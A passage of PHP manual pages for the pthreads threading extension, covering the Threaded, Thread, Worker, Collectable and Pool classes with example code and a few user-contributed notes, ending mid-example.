A object is considered running while executing the run method

Examples

Example #1 Detect the state of the referenced object

<?php
class My extends Thread {
    public function run() {
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
var_dump($my->isRunning());
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • « Threaded::isRunning
  • Threaded::isWaiting »
  • PHP Manual
  • Threaded
  • State Detection

Threaded::isTerminated

(PECL pthreads >= 2.0.0)

Threaded::isTerminated — State Detection

Description

public boolean Threaded::isTerminated ( void )

Tell if the referenced object was terminated during execution; suffered fatal errors, or threw uncaught exceptions

Parameters

This function has no parameters.

Return Values

A boolean indication of state

Examples

Example #1 Detect the state of the referenced object

<?php
class My extends Thread {
    public function run() {
        i_do_not_exist();
    }
}
$my = new My();
$my->start();
$my->join();
var_dump($my->isTerminated());
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • « Threaded::isTerminated
  • Threaded::lock »
  • PHP Manual
  • Threaded
  • State Detection

Threaded::isWaiting

(PECL pthreads >= 2.0.0)

Threaded::isWaiting — State Detection

Description

public boolean Threaded::isWaiting ( void )

Tell if the referenced object is waiting for notification

Parameters

This function has no parameters.

Return Values

A boolean indication of state

Examples

Example #1 Detect the state of the referenced object

<?php
class My extends Thread {
    public function run() {
        $this->synchronized(function($thread){
            if (!$this->done)
                $thread->wait();
        }, $this);
    }

    protected $done;
}
$my = new My();
$my->start();
$my->synchronized(function($thread){
    var_dump(
        $thread->isWaiting());
    $thread->done = true;
    $thread->notify();
}, $my);
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • « Threaded::isWaiting
  • Threaded::merge »
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::lock

(PECL pthreads >= 2.0.0)

Threaded::lock — Synchronization

Description

public boolean Threaded::lock ( void )

Lock the referenced objects property table

Parameters

This function has no parameters.

Return Values

A boolean indication of success

Examples

Example #1 Locking Object Properties

<?php
class My extends Thread {
    public function run() {
        var_dump($this->lock());
        /** nobody can read or write **/
        var_dump($this->unlock());
        /** reading / writing resumed for all other contexts */
    }
}
$my = new My();
$my->start();
?>

The above example will output:

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

  • « Threaded::lock
  • Threaded::notify »
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::merge

(PECL pthreads >= 2.0.0)

Threaded::merge — Manipulation

Description

public boolean Threaded::merge ( mixed $from [, mixed $overwrite ] )

Merges data into the current object

Parameters

from

The data to merge

overwrite

Overwrite existing keys, by default true

Return Values

A boolean indication of success

Examples

Example #1 Merging into the property table of a threaded object

<?php
$array = [];

while (count($array) < 10)
    $array[] = count($array);

$stdClass = new stdClass();
$stdClass->foo = "foo";
$stdClass->bar = "bar";
$stdClass->baz = "baz";

$safe = new Threaded();
$safe->merge($array);
$safe->merge($stdClass);

var_dump($safe);
?>

The above example will output:

object(Threaded)#2 (13) {
  ["0"]=>
  int(0)
  ["1"]=>
  int(1)
  ["2"]=>
  int(2)
  ["3"]=>
  int(3)
  ["4"]=>
  int(4)
  ["5"]=>
  int(5)
  ["6"]=>
  int(6)
  ["7"]=>
  int(7)
  ["8"]=>
  int(8)
  ["9"]=>
  int(9)
  ["foo"]=>
  string(3) "foo"
  ["bar"]=>
  string(3) "bar"
  ["baz"]=>
  string(3) "baz"
}

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • « Threaded::merge
  • Threaded::pop »
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::notify

(PECL pthreads >= 2.0.0)

Threaded::notify — Synchronization

Description

public boolean Threaded::notify ( void )

Send notification to the referenced object

Parameters

This function has no parameters.

Return Values

A boolean indication of success

Examples

Example #1 Notifications and Waiting

<?php
class My extends Thread {
    public function run() {
        /** cause this thread to wait **/
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
/** send notification to the waiting thread **/
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
var_dump($my->join());
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

  • « Threaded::notify
  • Threaded::run »
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::pop

(PECL pthreads >= 2.0.0)

Threaded::pop — Manipulation

Description

public boolean Threaded::pop ( void )

Pops an item from the objects property table

Return Values

The last item from the objects property table

Examples

Example #1 Popping the last item from the property table of a threaded object

<?php
$safe = new Threaded();

while (count($safe) < 10)
    $safe[] = count($safe);

var_dump($safe->pop());
?>

The above example will output:

int(9)

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • « Threaded::pop
  • Threaded::shift »
  • PHP Manual
  • Threaded
  • Execution

Threaded::run

(PECL pthreads >= 2.0.0)

Threaded::run — Execution

Description

public void Threaded::run ( void )

The programmer should always implement the run method for objects that are intended for execution.

Parameters

This function has no parameters.

Return Values

The methods return value, if used, will be ignored

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

  • « Threaded::run
  • Threaded::synchronized »
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::shift

(PECL pthreads >= 2.0.0)

Threaded::shift — Manipulation

Description

public mixed Threaded::shift ( void )

Shifts an item from the objects property table

Return Values

The first item from the objects property table

Examples

Example #1 Shifting the first item from the property table of a threaded object

<?php
$safe = new Threaded();

while (count($safe) < 10)
    $safe[] = count($safe);

var_dump($safe->shift());
?>

The above example will output:

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • « Threaded::shift
  • Threaded::unlock »
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::synchronized

(PECL pthreads >= 2.0.0)

Threaded::synchronized — Synchronization

Description

public mixed Threaded::synchronized ( Closure $block [, mixed $... ] )

Executes the block while retaining the referenced objects synchronization lock for the calling context

Parameters

block

The block of code to execute

...

Variable length list of arguments to use as function arguments to the block

Return Values

The return value from the block

Examples

Example #1 Synchronizing

<?php
class My extends Thread {
    public function run() {
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
var_dump($my->join());
?>

The above example will output:

bool(true)

User Contributed Notes

john dot wellesz at teaser dot fr 19-Mar-2014 10:22
Threaded::synchronized() allows you to safely set or read synchronization conditions and act upon them (using ::wait() and ::notify()) knowing that only one call to synchronized() on the referenced object can be executed at a particular time, other calls from different thread contexts will block until the path is cleared by a call to ::wait() inside your ::Synchronized() closure.


Synchronization

  • « Threaded::synchronized
  • Threaded::wait »
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::unlock

(PECL pthreads >= 2.0.0)

Threaded::unlock — Synchronization

Description

public boolean Threaded::unlock ( void )

Unlock the referenced objects storage for the calling context

Parameters

This function has no parameters.

Return Values

A boolean indication of success

Examples

Example #1 Locking the property table of a threaded object

<?php
class My extends Thread {
    public function run() {
        var_dump($this->lock());
        /** nobody can read or write **/
        var_dump($this->unlock());
        /** reading / writing resumed for all other contexts */
    }
}
$my = new My();
$my->start();
?>

The above example will output:

bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • « Threaded::unlock
  • Thread »
  • PHP Manual
  • Threaded
  • Synchronization

Threaded::wait

(PECL pthreads >= 2.0.0)

Threaded::wait — Synchronization

Description

public boolean Threaded::wait ([ integer $timeout ] )

Will cause the calling context to wait for notification from the referenced object

Parameters

timeout

An optional timeout in microseconds

Return Values

A boolean indication of success

Examples

Example #1 Notifications and Waiting

<?php
class My extends Thread {
    public function run() {
        /** cause this thread to wait **/
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
/** send notification to the waiting thread **/
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
var_dump($my->join());
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


The Thread class

(PECL pthreads >= 2.0.0)

Introduction

When the start method of a Thread is invoked, the run method code will be executed in separate Thread, asynchronously.

After the run method is executed the Thread will exit immediately, it will be joined with the creating Thread at the appropriate time.

Warning

Relying on the engine to determine when a Thread should join may cause undesirable behaviour; the programmer should be explicit, where possible.

Class synopsis

Thread extends Threaded implements Countable , Traversable , ArrayAccess {
/* Methods */
public void detach ( void )
public integer getCreatorId ( void )
public static Thread getCurrentThread ( void )
public static integer getCurrentThreadId ( void )
public integer getThreadId ( void )
public static mixed globally ( void )
public boolean isJoined ( void )
public boolean isStarted ( void )
public boolean join ( void )
public void kill ( void )
public boolean start ([ integer $options ] )
/* Inherited methods */
public array Threaded::chunk ( integer $size , boolean $preserve )
public integer Threaded::count ( void )
public bool Threaded::extend ( string $class )
public Threaded Threaded::from ( Closure $run [, Closure $construct [, array $args ]] )
public array Threaded::getTerminationInfo ( void )
public boolean Threaded::isRunning ( void )
public boolean Threaded::isTerminated ( void )
public boolean Threaded::isWaiting ( void )
public boolean Threaded::lock ( void )
public boolean Threaded::merge ( mixed $from [, mixed $overwrite ] )
public boolean Threaded::notify ( void )
public boolean Threaded::pop ( void )
public void Threaded::run ( void )
public mixed Threaded::shift ( void )
public mixed Threaded::synchronized ( Closure $block [, mixed $... ] )
public boolean Threaded::unlock ( void )
public boolean Threaded::wait ([ integer $timeout ] )
}

Table of Contents

  • Thread::detach — Execution
  • Thread::getCreatorId — Identification
  • Thread::getCurrentThread — Identification
  • Thread::getCurrentThreadId — Identification
  • Thread::getThreadId — Identification
  • Thread::globally — Execution
  • Thread::isJoined — State Detection
  • Thread::isStarted — State Detection
  • Thread::join — Synchronization
  • Thread::kill — Execution
  • Thread::start — Execution

User Contributed Notes

german dot bernhardt at gmail dot com 02-Apr-2014 08:01
<?php

class workerThread extends Thread {
 public function __construct($i){
  $this->i=$i;
 }

 public function run(){
  while(true){
   echo $this->i;
   sleep(1);
  }
 }
}

for($i=0;$i<50;$i++){
 $workers[$i]=new workerThread($i);
 $workers[$i]->start();
}

?>
hanscastroadmn at gmail dot com 14-Jan-2014 08:00
/*
    Programa para generar diccionarios de fuerza bruta con
    diferentes hilos usando Thread en PHP 5.4
*/

class FuerzaBruta extends Thread
{
    private $n;
    private $out;
    private $smap;

    public function FuerzaBruta($numero)
    {
        $this->n = $numero; // Numero de caracteres

        $this->smap = ['a','b','c','d'];

        $this->start();
    }

    public function run(){
        for($i = 0; $i < pow(count($this->smap), $this->n) - 1; $i++){
           $this->visualizar();
           $this->siguiente();
        }

        $this->visualizar();
    }

    public function siguiente(){
        $this->out[0]++;
        $m = 0;
        while($this->out[$m] == count($this->smap)){
            $this->out[$m++] = 0;
            $this->out[$m]++;
        }
    }

    public function visualizar(){
        $output = "";
        for($i = 0;$i < $this->n; $i++){
            $output += $this->smap[$this->out[$i]];
        }

        echo $output;
    }

}

//Genera todas las combinaciones de 5 caracteres.
for($i = 1; $i < 5; $i++) new FuerzaBruta($i);

// Algún error tendré...
actrace at icloud dot com 06-Dec-2013 04:34
<?php

class vote extends Thread {

    public $res    = '';
    public $url    = array();
    public $name   = '';
    public $runing = false;
    public $lc     = false;

    public function __construct($name) {

        $this->res    = '暂无,第一次运行.';
        $this->param    = 0;
        $this->lurl   = 0;
        $this->name   = $name;
        $this->runing = true;
        $this->lc     = false;
    }

    public function run() {
        while ($this->runing) {

            if ($this->param != 0) {
                $nt          = rand(1, 10);
                echo "线程[{$this->name}]收到任务参数::{$this->param},需要{$nt}秒处理数据.\n";
                $this->res   = rand(100, 999);
                sleep($nt);
                $this->lurl = $this->param;
                $this->param   = '';
            } else {
                echo "线程[{$this->name}]等待任务..\n";
            }
            sleep(1);
        }
    }

}

//这里创建线程池.
$pool[] = new vote('a');
$pool[] = new vote('b');
$pool[] = new vote('c');

//启动所有线程,使其处于工作状态
foreach ($pool as $w) {
    $w->start();
}

//派发任务给线程
for ($i = 1; $i < 10; $i++) {
    $worker_content = rand(10, 99);
    while (true) {
        foreach ($pool as $worker) {
            //参数为空则说明线程空闲
            if ($worker->param=='') {
                $worker->param = $worker_content;
                echo "[{$worker->name}]线程空闲,放入参数{$worker_content},上次参数[{$worker->lurl}]结果[{$worker->res}].\n";
                break 2;
            }
        }
        sleep(1);
    }
}
echo "所有线程派发完毕,等待执行完成.\n";

//等待所有线程运行结束
while (count($pool)) {
    //遍历检查线程组运行结束
    foreach ($pool as $key => $threads) {
        if ($worker->param=='') {
            echo "[{$threads->name}]线程空闲,上次参数[{$threads->lurl}]结果[{$threads->res}].\n";
            echo "[{$threads->name}]线程运行完成,退出.\n";
            //设置结束标志
            $threads->runing = false;
            unset($pool[$key]);
        }
    }
    echo "等待中...\n";
    sleep(1);
}
echo "所有线程执行完毕.\n";
?>

父线程可以操作子线程变量,可以先启动一组线程等待来自父线程的参数,然后再工作.


Execution

  • « Thread
  • Thread::getCreatorId »
  • PHP Manual
  • Thread
  • Execution

Thread::detach

(PECL pthreads >= 2.0.0)

Thread::detach — Execution

Description

public void Thread::detach ( void )

Detaches the referenced Thread from the calling context, dangerously!

Warning

This method can cause undefined, unsafe behaviour. It should not usually be used, it is present for completeness and advanced use cases.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Identification

  • « Thread::detach
  • Thread::getCurrentThread »
  • PHP Manual
  • Thread
  • Identification

Thread::getCreatorId

(PECL pthreads >= 2.0.0)

Thread::getCreatorId — Identification

Description

public integer Thread::getCreatorId ( void )

Will return the identity of the Thread that created the referenced Thread

Parameters

This function has no parameters.

Return Values

A numeric identity

Examples

Example #1 Return the identity of the Thread or Process that created the referenced Thread

<?php
class My extends Thread {
    public function run() {
        printf("%s created by Thread #%lu\n", __CLASS__, $this->getCreatorId());
    }
}
$my = new My();
$my->start();
?>

The above example will output:

My created by Thread #123456778899

User Contributed Notes

There are no user contributed notes for this page.


Identification

  • « Thread::getCreatorId
  • Thread::getCurrentThreadId »
  • PHP Manual
  • Thread
  • Identification

Thread::getCurrentThread

(PECL pthreads >= 2.0.0)

Thread::getCurrentThread — Identification

Description

public static Thread Thread::getCurrentThread ( void )

Return a reference to the currently executing Thread

Parameters

This function has no parameters.

Return Values

An object representing the currently executing Thread

Examples

Example #1 Return the currently executing Thread

<?php
class My extends Thread {
    public function run() {
        var_dump(Thread::getCurrentThread());
    }
}
$my = new My();
$my->start();
?>

The above example will output:

object(My)#2 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Identification

  • « Thread::getCurrentThread
  • Thread::getThreadId »
  • PHP Manual
  • Thread
  • Identification

Thread::getCurrentThreadId

(PECL pthreads >= 2.0.0)

Thread::getCurrentThreadId — Identification

Description

public static integer Thread::getCurrentThreadId ( void )

Will return the identity of the currently executing Thread

Parameters

This function has no parameters.

Return Values

A numeric identity

Examples

Example #1 Return the identity of the currently executing Thread

<?php
class My extends Thread {
    public function run() {
        printf("%s is Thread #%lu\n", __CLASS__, Thread::getCurrentThreadId());
    }
}
$my = new My();
$my->start();
?>

The above example will output:

My is Thread #123456778899

User Contributed Notes

There are no user contributed notes for this page.


Identification

  • « Thread::getCurrentThreadId
  • Thread::globally »
  • PHP Manual
  • Thread
  • Identification

Thread::getThreadId

(PECL pthreads >= 2.0.0)

Thread::getThreadId — Identification

Description

public integer Thread::getThreadId ( void )

Will return the identity of the referenced Thread

Parameters

This function has no parameters.

Return Values

A numeric identity

Examples

Example #1 Return the identity of the referenced Thread

<?php
class My extends Thread {
    public function run() {
        printf("%s is Thread #%lu\n", __CLASS__, $this->getThreadId());
    }
}
$my = new My();
$my->start();
?>

The above example will output:

My is Thread #123456778899

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • « Thread::getThreadId
  • Thread::isJoined »
  • PHP Manual
  • Thread
  • Execution

Thread::globally

(PECL pthreads >= 2.0.1)

Thread::globally — Execution

Description

public static mixed Thread::globally ( void )

Will execute a Callable in the global scope

Parameters

This function has no parameters.

Return Values

The return value of the Callable

Examples

Example #1 Execute in the global scope

<?php
class My extends Thread {
    public function run() {
        global $std;

        Thread::globally(function(){
            $std = new stdClass;
        });

        var_dump($std);
    }
}
$my = new My();
$my->start();
?>

The above example will output:

object(stdClass)#3 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • « Thread::globally
  • Thread::isStarted »
  • PHP Manual
  • Thread
  • State Detection

Thread::isJoined

(PECL pthreads >= 2.0.0)

Thread::isJoined — State Detection

Description

public boolean Thread::isJoined ( void )

Tell if the referenced Thread has been joined

Parameters

This function has no parameters.

Return Values

A boolean indication of state

Examples

Example #1 Detect the state of the referenced Thread

<?php
class My extends Thread {
    public function run() {
        $this->synchronized(function($thread){
            if (!$thread->done)
                $thread->wait();
        }, $this);
    }
}
$my = new My();
$my->start();
var_dump($my->isJoined());
$my->synchronized(function($thread){
    $thread->done = true;
    $thread->notify();
}, $my);
?>

The above example will output:

bool(false)

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • « Thread::isJoined
  • Thread::join »
  • PHP Manual
  • Thread
  • State Detection

Thread::isStarted

(PECL pthreads >= 2.0.0)

Thread::isStarted — State Detection

Description

public boolean Thread::isStarted ( void )

Tell if the referenced Thread was started

Parameters

This function has no parameters.

Return Values

boolean indication of state

Examples

Example #1 Tell if the referenced Thread was started

<?php
$worker = new Worker();
$worker->start();
var_dump($worker->isStarted());
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • « Thread::isStarted
  • Thread::kill »
  • PHP Manual
  • Thread
  • Synchronization

Thread::join

(PECL pthreads >= 2.0.0)

Thread::join — Synchronization

Description

public boolean Thread::join ( void )

Causes the calling context to wait for the referenced Thread to finish executing

Parameters

This function has no parameters.

Return Values

A boolean indication of success

Examples

Example #1 Join with the referenced Thread

<?php
class My extends Thread {
    public function run() {
        /* ... */
    }
}
$my = new My();
$my->start();
/* ... */
var_dump($my->join());
/* ... */
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • « Thread::join
  • Thread::start »
  • PHP Manual
  • Thread
  • Execution

Thread::kill

(PECL pthreads >= 2.0.0)

Thread::kill — Execution

Description

public void Thread::kill ( void )

Forces the referenced Thread to terminate

Warning

The programmer should not ordinarily kill Threads by force

Parameters

This function has no parameters.

Return Values

A boolean indication of success

Examples

Example #1 Kill the referenced Thread

<?php
class T extends Thread {
    public function run() {
        $stdin = fopen("php://stdin", "r");
        while(($line = fgets($stdin))) {
            echo $line;
        }
    }
}

$t = new T();
$t->start();

var_dump($t->kill());
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • « Thread::kill
  • Worker »
  • PHP Manual
  • Thread
  • Execution

Thread::start

(PECL pthreads >= 2.0.0)

Thread::start — Execution

Description

public boolean Thread::start ([ integer $options ] )

Will start a new Thread to execute the implemented run method

Parameters

options

An optional mask of inheritance constants, by default PTHREADS_INHERIT_ALL

Return Values

A boolean indication of success

Examples

Example #1 Starting Threads

<?php
class My extends Thread {
    public function run() {
        /** ... **/
    }
}
$my = new My();
var_dump($my->start());
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


The Worker class

(PECL pthreads >= 2.0.0)

Introduction

Worker Threads have a persistent context, as such should be used over Threads in most cases.

When a Worker is started, the run method will be executed, but the Thread will not leave until one of the following conditions are met:

  • the Worker goes out of scope (no more references remain)

  • the programmer calls shutdown

  • the script dies

This means the programmer can reuse the context throughout execution; placing objects on the stack of the Worker will cause the Worker to execute the stacked objects run method.

Warning

The programmer must retain references to stacked objects until they are executed or unstacked; the Pool class provides a higher level abstraction of the Worker functionality and manages references for the programmer.

Class synopsis

Worker extends Thread implements Traversable , Countable , ArrayAccess {
/* Methods */
public integer getStacked ( void )
public boolean isShutdown ( void )
public boolean isWorking ( void )
public boolean shutdown ( void )
public integer stack ( Threaded &$work )
public integer unstack ([ Threaded &$work ] )
/* Inherited methods */
public void Thread::detach ( void )
public integer Thread::getCreatorId ( void )
public static Thread Thread::getCurrentThread ( void )
public static integer Thread::getCurrentThreadId ( void )
public integer Thread::getThreadId ( void )
public static mixed Thread::globally ( void )
public boolean Thread::isJoined ( void )
public boolean Thread::isStarted ( void )
public boolean Thread::join ( void )
public void Thread::kill ( void )
public boolean Thread::start ([ integer $options ] )
}

Table of Contents

  • Worker::getStacked — Stack Analysis
  • Worker::isShutdown — State Detection
  • Worker::isWorking — State Detection
  • Worker::shutdown — Synchronization
  • Worker::stack — Stacking
  • Worker::unstack — Stacking

User Contributed Notes

event2game at gmail dot com 31-Oct-2013 12:22
There's one way to shared datas between Workers, that is using Stackable:
<?php
class data extends Stackable{
    //private $name;
    public function __construct($_name) {
        //$this->name = $_name;//if you set any variable, workers will get the variable, so do not set any variable
        echo __FILE__.'-'.__LINE__.'<br/>'.chr(10);
    }
    public function run(){
        echo __FILE__.'-'.__LINE__.'<br/>'.chr(10);
    }
}
class readWorker extends Worker {
    public function __construct(&$_data) {
        $this->data = $_data;//
    }
    public function run(){
        while(1){
            if($arr=$this->data->shift())//receiving datas
            {
                echo 'Received data:'.print_r($arr,1).chr(10);
            }else usleep(50000);
        }
    }
}
class writeWorker extends Worker {
    public function __construct(&$_data) {
        $this->data = $_data;//
    }
    public function run(){
        while(1){
            $this->data[] = array(time(),rand());//writting datas
            usleep(rand(50000, 1000000));
        }
    }

}
$data = new data('');
$reader = new readWorker($data);
$writer = new writeWorker($data);
$reader->start();
$writer->start();
?>
Also you can use $readWorker[] = $some_data; then use $this->shift() in readWorker to share datas with readWorker, but if you do so you can't have variables in readWorker as all variales will be shift by shift();


Stack Analysis

  • « Worker
  • Worker::isShutdown »
  • PHP Manual
  • Worker
  • Stack Analysis

Worker::getStacked

(PECL pthreads >= 2.0.0)

Worker::getStacked — Stack Analysis

Description

public integer Worker::getStacked ( void )

Returns the number of objects waiting to be executed by the referenced Worker

Parameters

This function has no parameters.

Return Values

An numeric value

Examples

Example #1 Returns the number of objects currently waiting to be executed by the referenced Worker

<?php
class Work extends Threaded {
    /** ... **/

    public function run(){
        /** ... **/
    }
}
$my = new Worker();
/** ... **/
$work = new Work();
$my->stack($work);
/** ... **/
printf("My worker has %d jobs remaining\n", $my->getStacked());
/** ... **/
?>

The above example will output:

My worker has 5 jobs remaining

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • « Worker::getStacked
  • Worker::isWorking »
  • PHP Manual
  • Worker
  • State Detection

Worker::isShutdown

(PECL pthreads >= 2.0.0)

Worker::isShutdown — State Detection

Description

public boolean Worker::isShutdown ( void )

Tell if the referenced Worker has been shutdown

Parameters

This function has no parameters.

Return Values

A boolean indication of state

Examples

Example #1 Detect the state of a Worker

<?php
$my = new Worker();
$my->start();
var_dump($my->isShutdown());
$my->shutdown();
var_dump($my->isShutdown());
?>

The above example will output:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • « Worker::isShutdown
  • Worker::shutdown »
  • PHP Manual
  • Worker
  • State Detection

Worker::isWorking

(PECL pthreads >= 2.0.0)

Worker::isWorking — State Detection

Description

public boolean Worker::isWorking ( void )

Tell if a Worker is executing Stackables

Parameters

This function has no parameters.

Return Values

A boolean indication of state

Examples

Example #1 Detect the state of a Worker

<?php
$my = new Worker();
$my->start();
/* ... */
if ($my->isWorking()) {
    /* ... the Worker is busy executing another object */
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Synchronization

  • « Worker::isWorking
  • Worker::stack »
  • PHP Manual
  • Worker
  • Synchronization

Worker::shutdown

(PECL pthreads >= 2.0.0)

Worker::shutdown — Synchronization

Description

public boolean Worker::shutdown ( void )

Shuts down the Worker after executing all the objects previously stacked

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Shutdown the referenced Worker

<?php
$my = new Worker();
$my->start();
/* ... */
var_dump($my->shutdown());
/* ... */
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Stacking

  • « Worker::shutdown
  • Worker::unstack »
  • PHP Manual
  • Worker
  • Stacking

Worker::stack

(PECL pthreads >= 2.0.0)

Worker::stack — Stacking

Description

public integer Worker::stack ( Threaded &$work )

Appends the referenced object to the stack of the referenced Worker

Parameters

work

Threaded object to be executed by the referenced Worker

Return Values

The new length of the stack

Examples

Example #1 Stacking objects for execution in Workers

<?php
class Work extends Threaded {
    /** ... **/

    public function run(){
        /** ... **/
    }
}

$my = new Worker();
$work = new Work();
/** ... **/
var_dump($my->stack($work));
/** ... **/
?>

The above example will output:

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Stacking

  • « Worker::stack
  • Collectable »
  • PHP Manual
  • Worker
  • Stacking

Worker::unstack

(PECL pthreads >= 2.0.0)

Worker::unstack — Stacking

Description

public integer Worker::unstack ([ Threaded &$work ] )

Removes the referenced object ( or all objects if parameters are void ) from stack of the referenced Worker

Parameters

work

Threaded object previously stacked onto Worker

Return Values

The new length of the stack

Examples

Example #1 Removing objects from the stack of Workers

<?php
class Work extends Threaded {
    public function run() {

    }
}

$my = new Worker();
$work = new Work();
var_dump($my->stack($work));
var_dump($my->unstack($work));
?>

The above example will output:

int(1)
int(0)

User Contributed Notes

There are no user contributed notes for this page.


The Collectable class

(PECL pthreads >= 2.0.8)

Introduction

Represents a garbage-collectable object.

Collectable objects are intended to be used by the Pool class, replacing Threaded objects as the unit of work. They provide methods to set and detect the collectability of an object.

Class synopsis

Collectable extends Threaded {
/* Methods */
public bool isGarbage ( void )
public void setGarbage ( void )
/* Inherited methods */
public array Threaded::chunk ( integer $size , boolean $preserve )
public integer Threaded::count ( void )
public bool Threaded::extend ( string $class )
public Threaded Threaded::from ( Closure $run [, Closure $construct [, array $args ]] )
public array Threaded::getTerminationInfo ( void )
public boolean Threaded::isRunning ( void )
public boolean Threaded::isTerminated ( void )
public boolean Threaded::isWaiting ( void )
public boolean Threaded::lock ( void )
public boolean Threaded::merge ( mixed $from [, mixed $overwrite ] )
public boolean Threaded::notify ( void )
public boolean Threaded::pop ( void )
public void Threaded::run ( void )
public mixed Threaded::shift ( void )
public mixed Threaded::synchronized ( Closure $block [, mixed $... ] )
public boolean Threaded::unlock ( void )
public boolean Threaded::wait ([ integer $timeout ] )
}

Table of Contents

  • Collectable::isGarbage — Determine whether an object has been marked as garbage
  • Collectable::setGarbage — Mark an object as garbage

User Contributed Notes

There are no user contributed notes for this page.


Determine whether an object has been marked as garbage

  • « Collectable
  • Collectable::setGarbage »
  • PHP Manual
  • Collectable
  • Determine whether an object has been marked as garbage

Collectable::isGarbage

(PECL pthreads >= 2.0.8)

Collectable::isGarbage — Determine whether an object has been marked as garbage

Description

public bool Collectable::isGarbage ( void )

Can be called in Pool::collect() to determine if this object is garbage.

See Also

  • Pool::collect() - Collect references to completed tasks

User Contributed Notes

There are no user contributed notes for this page.


Mark an object as garbage

  • « Collectable::isGarbage
  • Modifiers »
  • PHP Manual
  • Collectable
  • Mark an object as garbage

Collectable::setGarbage

(PECL pthreads >= 2.0.8)

Collectable::setGarbage — Mark an object as garbage

Description

public void Collectable::setGarbage ( void )

Should be called once per object when the object is finished being executed or referenced.

See Also

  • Collectable::isGarbage() - Determine whether an object has been marked as garbage

User Contributed Notes

There are no user contributed notes for this page.


Method Modifiers

pthreads overrides the functionality of the protected and private method modifiers in order to provide functionality more suited to multi-threaded objects. pthreads applies this functionality to all Threaded objects from creation.

Example #1 protected method example: protected methods can only be executed by one Thread at a time.

<?php
class ExampleThread extends Thread {
    public function run() {
        /* thread code */
        if ($this->synchronized()) {

        }
    }

    protected function exclusive() {
        /* synchronized method */
    }
}

$thread = new ExampleThread();
if ($thread->start()) {
    $thread->exclusive();
}
?>

Example #2 private method example: private methods may only be executed by the Threaded object during execution

<?php
class ExampleThread extends Thread {
    public function run() {
        /* thread code */
        if ($this->insideonly()) {

        }
    }

    private function insideonly() {
        /* private method */
    }
}

$thread = new ExampleThread();
if ($thread->start()) {
    $thread->insideonly();
}
?>

User Contributed Notes

There are no user contributed notes for this page.


The Pool class

(PECL pthreads >= 2.0.0)

Introduction

A Pool is a container for, and controller of, an adjustable number of Workers.

Pooling provides a higher level abstraction of the Worker functionality, including the management of references in the way required by pthreads.

Class synopsis

Pool {
/* Properties */
protected $size ;
protected $class ;
protected $workers ;
protected $work ;
protected $ctor ;
protected $last ;
/* Methods */
public void collect ( Callable $collector )
public Pool __construct ( integer $size , string $class [, array $ctor ] )
public void resize ( integer $size )
public void shutdown ( void )
public integer submit ( Threaded $task )
public integer submitTo ( integer $worker , Threaded $task )
}

Properties

size

maximum number of Workers this Pool can use

class

the class of the Worker

ctor

the arguments for constructor of new Workers

workers

references to Workers

work

references to Threaded objects submitted to the Pool

last

offset in workers of the last Worker used

Table of Contents

  • Pool::collect — Collect references to completed tasks
  • Pool::__construct — Creates a new Pool of Workers
  • Pool::resize — Resize the Pool
  • Pool::shutdown — Shutdown all Workers
  • Pool::submit — Submits an object for execution
  • Pool::submitTo — Submits an object for execution

User Contributed Notes

fajan 28-May-2014 10:18
Example class to demonstrate usage of Pool/Worker mechanism, also to show a few tricks & hints ;)
<?php
class Config extends Threaded{    // shared global object
    protected $val=0, $val2=0;
    protected function inc(){++$this->val;}    // protected synchronizes by-object
    public function inc2(){++$this->val2;}    // no synchronization
}
class WorkerClass extends Worker{
    protected static $worker_id_next = -1;
    protected $worker_id;
    protected $config;
    public function __construct($config){
        $this->worker_id = ++static::$worker_id_next;    // static members are not avalable in thread but are in 'main thread'
        $this->config = $config;
    }
    public function run(){
        global $config;
        $config = $this->config;    // NOTE: setting by reference WON'T work
        global $worker_id;
        $worker_id = $this->worker_id;
